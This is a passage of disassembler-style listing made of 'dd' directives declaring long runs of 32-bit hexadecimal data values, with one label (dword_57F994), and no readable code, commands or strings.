		dd 0D9C13D98h, 7E0781D1h, 0CD4B1870h, 0C8295EC3h, 67D3D428h
		dd 330FC278h, 0D2839701h, 2A69DEF8h, 0AC3F5C01h, 9887A5C1h
		dd 5A02E4h, 0A46609B1h,	5CC02B0Eh, 6C77F200h, 8E7933C7h
		dd 7DC20EF6h, 0AD479EFBh, 0D99990DCh, 0E27CE7D6h, 2500F5B0h
		dd 0F0F44FBEh, 73DBC5h,	79C0CEA4h, 2ADAAAB1h, 0AEF2F11Dh
		dd 8DEE0407h, 8C7B051h,	1FC0FCDh, 17FE0089h, 0E77B32D0h
		dd 401F7E75h, 71C042AEh, 2413B674h, 0C7520053h,	276F88EEh
		dd 661C2592h, 0D4004B6Ch, 1A14C448h, 0CD720Eh, 0B8692752h
		dd 0CB7A82F1h, 5F3B3C01h, 0FE38729Fh, 5F37030h,	9557BFA5h
		dd 126480EDh, 53EAE2FBh, 420037F8h, 8469CAFFh, 3195550h
		dd 0D04DFAAEh, 28003D88h, 0F210482Fh, 0ACDEBEh,	38781FA4h
		dd 0A82C5646h, 1441B00h, 280EF60Ah, 21ECB9h, 56C8947Bh
		dd 8A38E0C9h, 863238h, 3B7E97BDh, 162277BCh, 0D3B790h
		dd 9164B961h, 351DFB71h, 618CDBAAh, 336D6EAh, 41B15CE2h
		dd 6888349Dh, 37E621CCh, 0C0EA4800h, 927A9C78h,	0CF090097h
		dd 0A6FE6714h, 9814402Dh, 7BFAC42h, 8396496Fh, 63F7B6A0h
		dd 61A30072h, 0AFE47C9Eh, 0AE008B09h, 50734904h, 1C65F843h
		dd 80D18F4Fh, 0D0AA44E5h, 0D650BFCAh, 3B002EF8h, 0A930C69Eh
		dd 0F44A26h, 0F56E8B87h, 836194BBh, 5DAA0E00h, 0D84B0CF2h
		dd 24B86Bh, 9517A66Ch, 0B1FB828h, 136A8707h, 0A0FFEAABh
		dd 2974C7F1h, 0AD4F0093h, 8C394D64h, 0F63E4014h, 0B4E880BBh
		dd 0E79FE027h, 640900ACh, 49DD0B55h, 0F101BD37h, 0C7F0EAA8h
		dd 0FBC4BF62h, 1103002Ah, 0D464588Ch, 440759AEh, 2C386A40h
		dd 941A0861h, 3B04B6D4h, 0AF813769h, 3D68FAA9h,	0B9E2D0BCh
		dd 1855D03Fh, 8610B6DCh, 0DA450082h, 5F38DFEEh,	90032C1Ah
		dd 6C36A9D6h, 3D68CEFEh, 0FFAFB732h, 82002470h,	469A2574h
		dd 804235h, 0D9BB40A5h,	0ADE11DF9h, 9D436700h, 0B63A6076h
		dd 5090E8h, 0F91A4D23h,	505A16FAh, 82000890h, 0D09A416Bh
		dd 46DC00Ch, 7E72B9A4h,	31A08008h, 200223Fh, 0CEE25D13h
		dd 75F18656h, 696E0078h, 67C3EC90h, 7300BB1Ch, 0EE0357FBh
		dd 0E3AA947h, 0BDB6461Bh, 0F025C287h, 0D0DA0830h, 1FA5C300h
		dd 3620BFFh, 0AFE80715h, 0D3BDF523h, 22C0FC3Bh,	89025784h
		dd 8C034FF2h, 0BDD2E096h, 124B05E1h, 0C0EC814Dh, 0F725323Dh
		dd 0C2DD300h
		dd 3D3ABCFCh, 0EAE900F6h, 10CC4D98h, 6300A47Bh,	0EFE7B8D0h
		dd 0C21C0297h, 129D7C48h, 2DA301C0h, 0E0164F38h, 6E95C418h
		dd 18C8F270h, 7912A77Eh, 0BC076D41h, 0E3F6EF81h, 7713F8A0h
		dd 10E93006h, 333D6020h, 0AD533200h, 8939C4B6h,	0E2E9C720h
		dd 0A2C03F4Bh, 0C538EF19h, 824BC00h, 0E4F38BC2h, 1C0A5CC3h
		dd 0BD3FE607h, 0A41C400Dh, 38007690h, 0E3C2E96h, 0FC5E1899h
		dd 771B002Ah, 0A3342B1Ah, 3F038823h, 28756158h,	909AFBB4h
		dd 458CDEh, 0A3A5F2DFh,	82B1508Eh, 6776ED5Ch, 0C360F390h
		dd 60A5E82Dh, 9C1E189Ah, 4E7EDCA6h, 820620DFh, 3C1CEEEh
		dd 0DDD2C988h, 0D1A08145h, 217C13BBh, 10E1DA30h, 0C3454h
		dd 3DBE521Eh, 6703DB31h, 36B4C000h, 1253C19Ch, 0DAED03ADh
		dd 0C468D3B1h, 0B93400A5h, 1ED5FC19h, 0D39150C0h, 18D1A86h
		dd 1F9D1224h, 0E450AD72h, 0E9050BF2h, 9969332Ch, 37C46403h
		dd 4878EBh, 0BBB11C44h,	0C67ED50h, 7736FF00h, 0C04FDE4Dh
		dd 6C78C3h, 5AAE151Fh, 5BC6AD7Eh, 56246003h, 8B4E7954h
		dd 2006C018h, 97D200C2h, 0E74CE0D9h, 8E00F463h,	9444373Eh
		dd 0C52E18h, 0EE61F92Fh, 8542E871h, 28231D00h, 0E9218A3Bh
		dd 0FF41071Bh, 0A05D45F8h, 5B79D149h, 0FCE13900h, 0A6135471h
		dd 9B0D0014h, 640B0C7h,	77F28E63h, 1B6CFF00h, 4D3FDE52h
		dd 44B9002Fh, 4C0936FEh, 2A2C9634h, 803BDEFCh, 0C1E206F9h
		dd 390C6298h, 798088FEh, 0F163B3F0h, 6C0EAAF6h,	60EB2F40h
		dd 0F885D458h, 0DF98DBh, 4CC469E2h, 2253F66h, 4CF20F5h
		dd 0C4A4FC51h, 49FC68E9h, 1A762700h, 0FA31240Fh, 0D1730A59h
		dd 80DC0E03h, 577A3DC7h, 140BBB79h, 0D7789E2Fh,	0C8BF5700h
		dd 29C01C0Ch, 0AB329AA2h, 13D3FA58h, 2053D08Bh,	0D1BDCF00h
		dd 0E0283100h, 230EAF2Ah, 0A67650ECh, 0ECF0543Ch, 7E415h
		dd 5336F955h, 0B50A4F79h, 0F2FD8218h, 30B03820h, 94701EC8h
		dd 0DD00675Fh, 9ECA239Ch, 0F709012h, 0A1B886A2h, 0EE64B6A0h
		dd 57141A68h, 1FC46E0Fh, 910C02B4h, 0E60C71D5h,	0F83092A7h
		dd 0A6F1449Fh, 9442958h, 10C4C3E2h, 0C672B160h,	91C79A40h
		dd 0D4F57600h, 853C1B65h, 26801A7h, 0ECC7906Dh,	1480EA1Dh
		dd 54897A06h, 0E579F9F2h, 46E0E00h, 0A411BEB3h,	5C730C4Ch
		dd 6369F60Ch, 0EF6D3701h, 22C7D8A2h, 34A982DEh,	87C041D1h
		dd 1F892ADCh, 4A4C0E53h, 5C3AAAh, 10BD298Fh, 9C39E7B5h
		dd 8A4C3B06h, 0C4C4760Eh, 0C7536980h, 601AC2B8h, 0C067121h
		dd 0D2008F46h, 6BF4323Fh, 51B68D6Ah, 20802C76h,	0D25E8293h
		dd 2107203Dh, 0FF8A2415h, 0D8858770h, 0BF6F1EDAh, 0C4697099h
		dd 4700BB94h, 1CD9A0CAh, 1A2497h, 9C238FB0h, 0B32253E3h
		dd 0BCCD6800h, 0C3DDFA1h, 70E967E5h, 0EE197034h, 6300BB9Bh
		dd 1236E12Ah, 73A51C9h,	52D24F7Eh, 11765970h, 200B0C09h
		dd 770DC968h, 0E8861F93h, 16DE851Eh, 0E3FFC0B0h, 0F4ABAC25h
		dd 725FF0A8h, 0D986CD02h, 0A8F803F7h, 0E800E584h, 9A763A40h
		dd 0C9F8A3B9h, 218F130Ch, 4B00DF02h, 6AD8C4Ah, 8546B360h
		dd 0C05A440Fh, 0A40379F9h, 0B612DD9Bh, 46F882h,	212D9Eh
		dd 0BADEB370h, 1AC98158h, 0EDE8EB24h, 0C2533A00h, 910C39E1h
		dd 0F8C303BCh, 20870196h, 62DB6A6h, 445FC204h, 50916F50h
		dd 0A2CE0C55h, 0C082C99Ch, 16813418h, 0BE3F786Bh, 0C085250Fh
		dd 0A05F2827h, 192224D0h, 433F40B8h, 0A0B036CEh, 44259A0Ah
		dd 8E8028E0h, 228A2387h, 7AD00043h, 0BEA3799Ch,	997F7DC6h
		dd 2B654100h, 460EBBF3h, 0D2473AABh, 1B62980h, 0FEA4D6Eh
		dd 0D8D47124h, 0D91A6D8Ch, 27A80EE0h, 0B87F8644h, 0D9BF900h
		dd 438034EAh, 39110F0Eh, 3D835B0h, 50B7D6E8h, 0C5F580B2h
		dd 2C170035h, 92B08BFBh, 4D0468AAh, 96DEBA9h, 0CADD0490h
		dd 0ECDE0E1Ch, 88A0DF7Bh, 9140D7CFh, 0F6F0105Bh, 321EE27h
		dd 1F66A3D4h, 0B08F0739h, 20BA6BCFh, 53628000h,	25D6EC1Dh
		dd 4C1C5CBh, 394C8041h,	9C0794D0h, 74799DB0h, 38B81DF0h
		dd 0D68B12CAh, 80881F3Ch, 0EBEE6FAh, 0C9D292D9h, 765F4800h
		dd 90E4FE4Ah, 88275478h, 0A4F50032h, 7F5F3056h,	0DC007842h
		dd 555B8598h, 0A0B2FCAFh, 2A2BFA8h, 144EA540h, 0E844173Eh
		dd 6030C407h, 23306688h, 2E46C86Ch, 0FD33F51h, 0F8FD26BFh
		dd 8999607Dh, 155FDDF5h, 0B10146F2h, 1E3B7188h,	21809AB0h
		dd 4433A959h, 0F7E220B4h, 0FDCD80Ah, 3C286443h,	0C53DA0Ch
		dd 9EC10Ah, 5A1CCE89h, 2A2C3195h, 840F9B28h, 5136D700h
		dd 0F76570EAh, 24E002Dh, 0DB49BEFFh, 8C07C804h,	68B1B62Ah
		dd 0F7450860h, 80409182h, 61803DA9h, 90006286h,	75B0BB5Bh
		dd 319BAA7h, 950E4C9Fh,	72DBEABDh, 0C08BEE80h, 20035D28h
		dd 22AC9000h, 36E42793h, 80CB0064h, 873EB54Dh, 0CF12CA26h
		dd 0E00488B3h, 534CE876h, 5025FB8h, 0F348C10Eh,	0D80460B8h
		dd 0A0B30324h, 491D17E8h, 75388CECh, 693FEEEEh,	3AF2014Ch
		dd 235D1502h, 24F471C1h, 0DB27038Ch, 3BB66595h,	24EA8D91h
		dd 38717FC0h, 6068498h,	5199724Fh, 543C2689h, 0B6C500EEh
		dd 23F9893Ah, 0CF00DCB1h, 4B255242h, 0DCBA52D8h, 72B781Ch
		dd 30E33BE6h, 0D6394946h, 85FC4F00h, 327C57ABh,	13C789Dh
		dd 1709BE2Dh, 0A4DB01CEh, 123A8C71h, 0BC2723ACh, 0EE384290h
		dd 0C5EC0052h, 0A0DEA5DDh, 2C01CD40h, 6E71BDABh, 6423658Dh
		dd 7A396000h, 53759349h, 44B77D16h, 8A2C3D00h, 0C0FD6D68h
		dd 6E58A829h, 650078C5h, 0BE142932h, 15A03h, 0EC118EABh
		dd 8C754A64h, 420094B0h, 0E54BBC1Bh, 0B841AAh, 0BAB62D87h
		dd 0F272BE86h, 4334EE00h, 56C1245Ah, 0C1A36523h, 5454806Fh
		dd 0C9033D92h, 50C49CB8h, 3F17916h, 0CB69C217h,	8DE3A28Bh
		dd 807D193Bh, 742E83DEh, 3B0F9B1h, 0E3FA9739h, 78E08188h
		dd 658D2D4h, 83C126E0h,	23393930h, 0CF80002Dh, 0E286C7BEh
		dd 0B51CAB77h, 8BC0560Eh, 24ED21AEh, 929F006Eh,	9E853B43h
		dd 5C90BA5Eh, 893DE901h, 0A04C8782h, 977A920h, 454217C4h
		dd 80B8B807h, 0C163E07Dh, 70E92724h, 5C6B148Ah,	0F9B6BA0Ch
		dd 0EB970130h, 7CC577BFh, 71D209Eh, 169B7A1Eh, 40D6E5C0h
		dd 0B14FFFC4h, 0CD9F0E7Ch, 11580C2Fh, 0ED0FD1D2h, 0A313A205h
		dd 0A8655E32h, 0EC16A036h, 2D3009A8h, 0F086B6ADh, 0F30181DAh
		dd 3A0B20C4h, 0E17EB703h, 189C2401h, 869C9B00h,	0A8C632BFh
		dd 2C557416h, 3A03ED3h,	123DC48Eh, 0B8C505F0h, 34A5C3Ah
		dd 3C14E7BFh, 6E008CF3h, 0FC6B7FC9h, 7EDE6030h,	0B1D330Ah
		dd 0C8B1E6A0h, 0FF71F01h, 3FE42247h, 53B49355h,	0E7C9420h
		dd 23A70EC7h, 2E7D47EAh, 6DFB40FCh, 6A90C9B3h, 71402600h
		dd 1D0ADF0Ch, 0FCC908Ch, 9E97E5F1h, 8F90F96Ah, 0D9A0DBF5h
		dd 0C8FC2EA7h, 5B690F18h, 0AB50A69h, 25C2D464h,	611EBE80h
		dd 31106D6h, 171B10EEh,	0F830F10Ch, 0A23ADAh, 0E174FA06h
		dd 31D892F4h, 14426400h, 0EE074397h, 32EF0385h,	2C560640h
		dd 0B68C6901h, 0EA5CE30Ah, 9083DFCCh, 60BAF006h, 25EC79E2h
		dd 5500FB3Eh, 4FF9A4D2h, 0EDE4D8h, 0B2C193F1h, 6A9AA003h
		dd 99BEF30Ch, 3959C2h, 0D0ECB47Fh, 9693EE3Ah, 0B0147700h
		dd 27A22B61h, 1C880031h, 841B0ADCh, 720352B8h, 9FDB092Ah
		dd 2602B740h, 0E87C5219h, 0E080051h, 5BEC3378h,	3400F9E7h
		dd 0E43227A0h, 58B0691Bh
		dd 0B60B7977h, 98901685h, 2800C28Fh, 0AEC59397h, 3817EA5Ah
		dd 73006863h, 13253E82h, 70C0B9BDh, 0D9A31D1Bh,	90B057h
		dd 0EC518BDBh, 0C99FB354h, 2810D44Ch, 0D7FAA4E2h, 145FAE04h
		dd 44415A69h, 530F3C7Bh, 23C0C4C8h, 0D5A085DBh,	0E00F62Eh
		dd 8856CC18h, 1EBEB301h, 0D2BFB8A5h, 9A1CC87Eh,	0F3547F84h
		dd 4248C8h, 46509F9Dh, 7BF433C4h, 0E0936E01h, 0F2FF06DDh
		dd 480E0AF8h, 17801C68h, 0DB24611Ah, 5D529612h,	90F8F40Fh
		dd 75E18200h, 484C6480h, 0F75C24B8h, 0BB104020h, 0DC315606h
		dd 0C00E0F69h, 6E361A99h, 2409F49Bh, 0CB6B4ACh,	969EE982h
		dd 0AA7881CCh, 0E425727Ah, 0CE308894h, 0C1EEE82Dh, 0DCB803A4h
		dd 48A75A6Eh, 94E0D5AAh, 91B0AA50h, 7D118802h, 60941A76h
		dd 2BFA6D4h, 8252A527h,	0DDC060CBh, 0A8B03B08h,	6E13C316h
		dd 0EB90F400h, 1B3327A3h, 0F026CE59h, 5C76008Fh, 0BC5C86BBh
		dd 478480B8h, 1EA321A4h, 9DE8EA01h, 0EDD0C08Fh,	0FA490A15h
		dd 0F8730F24h, 0ECE48869h, 711494C1h, 24530840h, 0A2A0C0A4h
		dd 7D765E90h, 0AD81D60Bh, 69F001BDh, 0A850116Dh, 4C61CE2h
		dd 0C1579DE4h, 9F8CC80Eh, 7B98B07Eh, 0EE35B400h, 21BBC658h
		dd 2C6A580Eh, 0F89E7280h, 14086439h, 8FC250A9h,	41C7D980h
		dd 512AB0B9h, 1454A029h, 4A674C60h, 0B540CD88h,	50D36C94h
		dd 27598B0h, 8AA5245Bh,	9048FB17h, 930FBEEAh, 0C0C5BA16h
		dd 0C3541402h, 0BB330191h, 153E9C59h, 3DD1E41Ch, 0EA68603h
		dd 0E0616746h, 48325168h, 9261070h, 49A01275h, 0C8830B18h
		dd 0E024869Bh, 870098BDh, 0E85B4C33h, 3D58ECD7h, 5F079984h
		dd 70242256h, 8B3037BAh, 7EC12A06h, 160849F7h, 30960F5Ch
		dd 95B5230Ch, 246B1000h, 564ED732h, 0B721C15Fh,	0DCCAF2AEh
		dd 0AA02B8E6h, 69AC0481h, 0AB744039h, 5250FEAh,	8E0B756Eh
		dd 0B700048h, 3A20B560h, 9951201Ah, 0B9F8008Ch,	588FE1ADh
		dd 28872407h, 25C559CEh, 80CC8h, 5BA5AFDDh, 0DBF87106h
		dd 0DA28B4A0h, 40241B00h, 460F602Ch, 0BC14034Dh, 0B8A11D35h
		dd 280CEAC3h, 207DF4D3h, 7868908Bh, 0C4E126Bh, 0E3F48C44h
		dd 40007DFAh, 0F8537652h, 4B6DEA30h, 4DEC400Fh,	0AF1E17C8h
		dd 25738A01h, 69392EC4h, 249AD9FCh, 410C6814h, 323C1D54h
		dd 46A20030h, 3B941201h, 57382EC8h, 0E35D07B0h,	88144091h
		dd 0E7134456h, 5027DF06h, 0A86607C0h, 5EC7C64h,	731D7746h
		dd 0CEF000D2h, 50C1084Ch, 0B27180E3h, 16133B9h,	0E0E70059h
		dd 8D1925EDh, 0C30C2452h, 598E2340h, 0D07104E4h, 0C0F56A3Eh
		dd 33A7755Ch, 8473A507h, 91927FA8h, 0E1EC405Dh,	4A4A5CD8h
		dd 1E21CD17h, 60582E68h, 8C421AF4h, 23810403h, 0D0B4A03Fh
		dd 0C0DAEA79h, 0A3B9BEB0h, 909816E7h, 80702358h, 18E9FBD5h
		dd 0F6D30314h, 3DE6A39Dh, 6F4DE890h, 50D46E00h,	9A04DB25h
		dd 12C12501h, 0A1BA025h, 60AC06E0h, 0D3679286h,	0B9824701h
		dd 3BC1037Ch, 343D848h,	9EA2DBA3h, 90C7861Ch, 40C43A95h
		dd 66E49003h, 0A86C4F0Fh, 74DCC08Bh, 799F129Bh,	9A1800F2h
		dd 44DF1F59h, 8D5C14F8h, 5728048h, 79EE907Ch, 753B26F4h
		dd 29013994h, 1CAA774h,	0B02D03h, 7BBE2142h, 883AEF9h
		dd 0CAFE0680h, 0B86BB004h, 74BB4480h, 338E89Bh,	3A785FFCh
		dd 417D0B6Dh, 8187C91Eh, 8C1F6CACh, 35049E97h, 90C84514h
		dd 0BA0A3D7Eh, 0BF666882h, 7C7949CFh, 0B0FDE800h, 5A858C7Dh
		dd 0AAC04023h, 5CDEBEAh, 0C650C700h, 8EABC011h,	0BFC10024h
		dd 2DF57092h, 3A057EC2h, 0A5B55C49h, 505628A2h,	3D443800h
		dd 0DDBF69BCh, 9C61BE01h, 510C1A77h, 0B5007029h, 0F8129813h
		dd 28002E64h, 0BF57C291h, 2EE8283h, 4675A6BBh, 605A7D0Ch
		dd 0E832EDh, 4B1C5962h,	799069h, 0FBDF6E10h, 94D0A6FAh
		dd 4585E58h, 52DDC24h, 0E9EFF8C1h, 0D4E43A02h, 457DE100h
		dd 602F269Ah, 359707E6h, 1B7A752h, 637F14B8h, 0BF9F003Ch
		dd 0DB3E2268h, 7E2705A9h, 0A2E94E49h, 0EECB0170h, 4C280B04h
		dd 0E82163F9h, 6870ECh,	0DF48A90Ch, 8C7EAA98h, 1C39D12Ah
		dd 9980CF00h, 795CC8FDh, 0DA30014h, 0F52FCD06h,	0E1393AFAh
		dd 5CA82626h, 0A41D1501h, 872DB0Eh, 0C270101h, 0E3488B6Eh
		dd 2FD0A5DCh, 0CA13F0h,	0D72523B6h, 0FEEBC66h, 620E740Ch
		dd 99BAD9FEh, 0BD6700A0h, 66903983h, 74862C00h,	6C0268A9h
		dd 5D7503F5h, 0F8643625h, 0BC7142F8h, 6026192Ch, 94707616h
		dd 2C544105h, 3C1C5Ah, 0E448C42Eh, 2C00774Ah, 34875815h
		dd 1F25A3F8h, 1325A94h,	1AECED27h, 8AE460AEh, 4B4140Eh
		dd 805CCBBDh, 72D70944h, 0FDD94803h, 17E26967h,	77C5A04Ah
		dd 0EC393464h, 854590Eh, 808D513Ah, 6498D06Bh, 0F9075823h
		dd 0C6CB6ACAh, 3EEDD7E0h, 0F07D02F6h, 5A047F11h, 69B0B840h
		dd 710EBE17h, 0C51B830h, 2525E46h, 6C4B2514h, 0FE009846h
		dd 8F3045FAh, 23226BFh,	0E1DF566Eh, 8C4494B6h, 0A2135890h
		dd 9C8001AEh, 0FBB6529Ch, 81FCCADAh, 49EAB49Bh,	0CF093h
		dd 18786EBCh, 3A75F034h, 349C2626h, 690F0811h, 422337C4h
		dd 2095AB50h, 1376CFE8h, 49E62A00h, 0B35DD1A7h,	0D7680264h
		dd 0FD450FF7h, 0A063208Bh, 7F14C8BDh, 6DD16F02h, 0C470148Dh
		dd 0DF025BCh, 6C30482Bh, 7B096D72h, 0B9B4D5h, 0F25C664Ch
		dd 0DF2B0095h, 0BBCCC985h, 0C1257791h, 0BFB0A0C4h, 3560A71h
		dd 4F3227A2h, 1A71A09h,	2A420E78h, 2D870841h, 44F87488h
		dd 71D8046Eh, 0F2C060F1h, 0F2B0048h, 0E64A9114h, 0B67E09FDh
		dd 5B00C2D6h, 8B4B3124h, 0D0A50E29h, 9AF01025h,	77B40111h
		dd 8466704Ch, 3D83D3Dh,	0A0041585h, 2EE09790h, 18249D7Bh
		dd 0F1C150A4h, 0F67D662Ch, 0FBBCED00h, 0EFBB8167h, 35D0059Eh
		dd 8923383Bh, 0A47CC07Ch, 9790A100h, 6B321B0h, 65BA00D9h
		dd 4EDB435Fh, 4024C1BEh, 660028B6h, 0C3DE6085h,	0A849FE7Eh
		dd 0F53C24h, 2DABBF33h,	8609C6B8h, 0CDF84104h, 48899A8h
		dd 90C83CAAh, 8BB65689h, 25DD3810h, 7480D0B6h, 8F69473Eh
		dd 0DF60Fh, 2A7C676Ch, 0C42C0E3Ch, 0E580A899h, 66AAF76h
		dd 0CFEAB6h, 0A68ED8A7h, 0BA86D653h, 0B5F3B0C1h, 0F833F073h
		dd 0B6029222h, 697EE64Ch, 3BF85A3Ah, 5B24BABEh,	0EF3B0010h
		dd 943C5C6h, 9F1634FCh,	0A1CD670h, 9E496F80h, 0B691Bh
		dd 0E1955924h, 460E9F6Bh, 79847501h, 0A4F3728h,	0E0248C20h
		dd 0F4915C29h, 0B9900733h, 38397124h, 0C0121E11h, 23B8033Ah
		dd 0B0C88541h, 0EC2C01A9h, 1440003Dh, 3BE83112h, 658058F7h
		dd 0D233742Bh, 0ECB945B8h, 0E3D13D8Fh, 0F899F2DEh, 735AB442h
		dd 0EA930189h, 0B89ECB50h, 470FD84Eh, 0B96FC96h, 1E2578C8h
		dd 0C750CC83h, 3346A95Ch, 74809A13h, 3D00794Ch,	3B06BA14h
		dd 1A0C23h, 35DFFD7Bh, 0E253A7F3h, 1473B626h, 97240049h
		dd 9124CDE9h, 0BCBF0214h, 8E0C459h, 3C1DB46Eh, 418744DCh
		dd 9B2227DBh, 0A100E882h, 67DD17FFh, 815A0483h,	4EB8C1BEh
		dd 0C83D17h, 87F78668h,	13151863h, 5F9830Eh, 0F0BDBC08h
		dd 16046E37h, 0C45DB441h, 0BD42F4C3h, 0EA80BF85h, 621D64h
		dd 72DEF124h, 7E0E945Ah, 0C0C458D5h, 3DD652C4h,	3F0F1C13h
		dd 0F6B4C1F5h, 28854CB5h, 0A74D8044h, 77B965h, 59996BB7h
		dd 9C50F657h, 68E39007h, 0F3108753h, 0A0295BEEh, 9A2418Eh
		dd 19834A3Ah, 5E37A418h
dword_57F994	dd 8A8AC00h, 393ACB75h,	0E8C3FE0h, 8D564E88h, 0E3F34780h
		dd 379026h, 0B12A127Ah,	9A01D750h, 0EF5D2100h, 62DF2D0Dh
		dd 44B0B85Eh, 3891F016h, 0DB0F6CA4h, 0BE2D875h,	60F8940Eh
		dd 3AAAA485h, 49231A0Bh, 25F4E03Bh, 8A9C3B5h, 4BC9EEBFh
		dd 0A6EAC835h, 85616D00h, 0C155CD13h, 0EC2A9520h, 66E0235h
		dd 0C48F93Ch, 8D005C01h, 6AA2C81Bh, 0E88FB524h,	4C9D0BBAh
		dd 0B0845776h, 3078E520h, 0F5003EB0h, 82BB68A7h, 4EC84AFh
		dd 0C13BBA1Dh, 0F65C842Ch, 0FA60068h, 642027A8h, 0C76C00D0h
		dd 6772A9CCh, 0BB01FC22h, 271A4856h, 30285349h,	9F75F80h
		dd 8928ADE4h, 34507423h, 59B84DBBh, 48C57000h, 0EBF17442h
		dd 0C3F61484h, 3848542Ch, 58496D04h, 0C867C521h, 600DBECh
		dd 611B056Ah, 9E43FA2Bh, 13F01634h, 8CC8D458h, 3C029944h
		dd 42A2AD39h, 0E032E0E1h, 50211E06h, 0E2003F1Bh, 0F664B6F0h
		dd 3120C72h, 20B2D26Bh,	801E3702h, 0F08197C5h, 0D35C9E94h
		dd 0F89063B8h, 2835A700h, 387182FFh, 201A4FC1h,	6D5253F0h
		dd 8CCE172h, 3411914h, 0EF4D8338h, 0BE90F61Ch, 9109C277h
		dd 71029BFCh, 0F19801BCh, 0EC2451B0h, 600DC23h,	6566C14Fh
		dd 11AAA9Ah, 5C996E38h,	71924E87h, 62152110h, 0BC7F0110h
		dd 4DAB7497h, 2E390CD8h, 62D4730Eh, 0FFE04C6Eh,	370034E0h
		dd 27D39CB2h, 4F3A8531h, 4C70479Eh, 1367CCh, 88B54EC0h
		dd 7E6FF514h, 1A4827FCh, 0E3688390h, 0FCC7ED54h, 6B0FE900h
		dd 0BB49CB2Bh, 23E68E8h, 0E340E207h, 65C37422h,	0D0F0B5B8h
		dd 1CC400D7h, 23809AC1h, 0AD074957h, 0D168B37Dh, 85702013h
		dd 5B0090A2h, 0ED0262C8h, 69DD1751h, 1A6EA280h,	493D8650h
		dd 0AA00600Dh, 94B90793h, 0D373D497h, 517FB01h,	78B6EB45h
		dd 0BAFC202Eh, 0F7192621h, 50C0F33Ch, 0C22F423h, 4AB89003h
		dd 0E0A0B1B4h, 224EABEh, 0EE394433h, 604C1AC3h,	2504154Ch
		dd 78EC4645h, 0FC0658A8h, 20B05C16h, 2730CFD4h,	837CF81Dh
		dd 5E33F180h, 14A7B8E8h, 0B05A07D6h, 0B654E903h, 0B17EE591h
		dd 5900D4B9h, 44E9A971h, 40110EA0h, 70401929h, 0E3184ECCh
		dd 0E5003BB0h, 0B88C6158h, 904CBA71h, 0D4FD4518h, 0E009A74Eh
		dd 6AE74FC3h, 4C7A94h, 78F5289Dh, 0F0D16DD5h, 0C653191Eh
		dd 83501242h, 0E2027D22h, 34C1F690h, 0C4C5605Ch, 98B2AB05h
		dd 0E480AC9Ch, 71A763h,	529F5AD3h, 5E5F879Ah, 78032224h
		dd 0CBBDD640h, 0F935008Ch, 7F32073Ch, 8A3C7B67h, 1DC498AAh
		dd 94691429h, 70446164h, 88E44465h, 89F4DF10h, 808828D5h
		dd 23B5612h, 52DA0C28h,	1551100Ch, 6126A400h, 0A308A219h
		dd 0F0930B3Ah, 40443ECFh, 26C57B00h, 0CD15E937h, 68940923h
		dd 0E4803CB2h, 66DD6F5Bh, 0DFE7D02h, 0A0BE1921h, 0D6C8B29Ch
		dd 0E675F8AFh, 26E034Eh, 0A8537392h, 0D39480FCh, 38F80824h
		dd 0D484880Fh, 6C0E0E71h, 26F0797Ch, 4468014Fh,	0C04D47F9h
		dd 0D2DC8CA0h, 74310095h, 0EA1BBC0Dh, 7F013A9Dh, 437EF87Ah
		dd 49805951h, 0A168B73Ch, 0A43BEF2Eh, 157D09D1h, 894059BFh
		dd 6050A84Ch, 0C4DDCD00h, 38EC6817h, 0C14803A0h, 2A564F7Eh
		dd 0EAEE5100h, 0F1B6AB4Ah, 26411DDCh, 2B60801Ch, 1A510F7Dh
		dd 48B42A1Ch, 0E05B2440h, 752950C9h, 12F4904Eh,	85446B52h
		dd 1D0C8C80h, 2A575400h, 91C30E48h, 0A999F6DDh,	1F60F810h
		dd 5D5C072Fh, 0F9A687F5h, 0FD14D0C8h, 1BB18400h, 322791E3h
		dd 0DC131D8Dh, 25FE91C3h, 864BFh, 280E38F8h, 604CC91Bh
		dd 14992100h, 835D10F6h, 183EE8C8h, 317D0F7Ah, 192A24F3h
		dd 0E904C0C5h, 3E111A6Dh, 0DC07C8C0h, 0D0406078h, 389B509h
		dd 0C7D0E849h, 72D0BFADh, 21EF81h, 0CFAA52D8h, 0BE583374h
		dd 0C4358800h, 9C0E1E07h, 0CAEE2482h, 0BAEB0448h, 0AF10D0E1h
		dd 6900D473h, 0D5BCE7B5h, 26503Dh, 27585386h, 0D3EBE459h
		dd 7426CAB0h, 140E051h,	0DD089h, 7F2199B8h, 72B0DD63h
		dd 44208E5Ah, 7084928h,	0A9258FAAh, 81381431h, 0CC566EBEh
		dd 3C9C0E13h, 1DCC50C0h, 0A3580F87h, 0EDA9B690h, 633274C8h
		dd 44E63725h, 0CC760058h, 87BEE58h, 2E005F11h, 0AA76623h
		dd 9005D9h, 27352E0h, 0DA5185EAh, 320F9100h, 0CA2ABD40h
		dd 0B9FE8A9h, 8DB66F53h, 229EE8E9h, 9D040FECh, 9F396007h
		dd 903F71FEh, 5BB20B30h, 913C72h, 45EBCC1Ch, 32C2AD00h
		dd 4F03BBBAh, 86653846h, 914B5001h, 0C23B2925h,	4C003846h
		dd 55A79DF6h, 25E6181Dh, 90E6C98Bh, 7FB6F80Fh, 9DF0E016h
		dd 4008FA6Ch, 69F2CAC7h, 5526BD00h, 1842D1E2h, 0A3B3073Eh
		dd 0C0CF56BCh, 4EF8BE31h, 0EC19C12Eh, 3FBC9869h, 0CF88005Dh
		dd 0C4A98315h, 52005B57h, 5F3D2A17h, 2C63DB24h,	899C1231h
		dd 0CA0EDDCFh, 97EC2A1h, 27607070h, 74A88h, 2A92F4EBh
		dd 3BC0B204h, 16FE7413h, 135C5420h, 70FDF4CBh, 209C4F3Ah
		dd 8AA6F028h, 1805C2E0h, 171A2689h, 0CEAC9080h,	47112BBh
		dd 0CD2801F8h, 0E4063487h, 79DE256Dh, 0BE5A3E40h, 9A821ACh
		dd 54E40DE5h, 0E23E1044h, 0B082BDDCh, 7323B8B9h, 91A0990h
		dd 0A879C89Eh, 1D60C94h, 256BB414h, 5C68F250h, 0E7C93980h
		dd 69033B6Ah, 0B146EAF9h, 0FE588A2h, 0E0909573h, 0C2E98A21h
		dd 0C309207Eh, 0B1DC490Eh, 621D8F6Ch, 3C440E2h,	3A9040A9h
		dd 0DB0090A4h, 0F9646671h, 0E2241A19h, 0A0787832h, 4BF105C4h
		dd 11B0C843h, 8B0E2500h, 151DC310h, 636C00B3h, 0D0F298FAh
		dd 479F12Ch, 0C2DC8250h, 19708D12h, 501EC0D1h, 96D82731h
		dd 284A025Fh, 0FF908A05h, 368034F9h, 7CCF1FC4h,	0A04A0F69h
		dd 21005259h, 0FAB1D434h, 11ED4600h, 0DB43C6F5h, 54370B04h
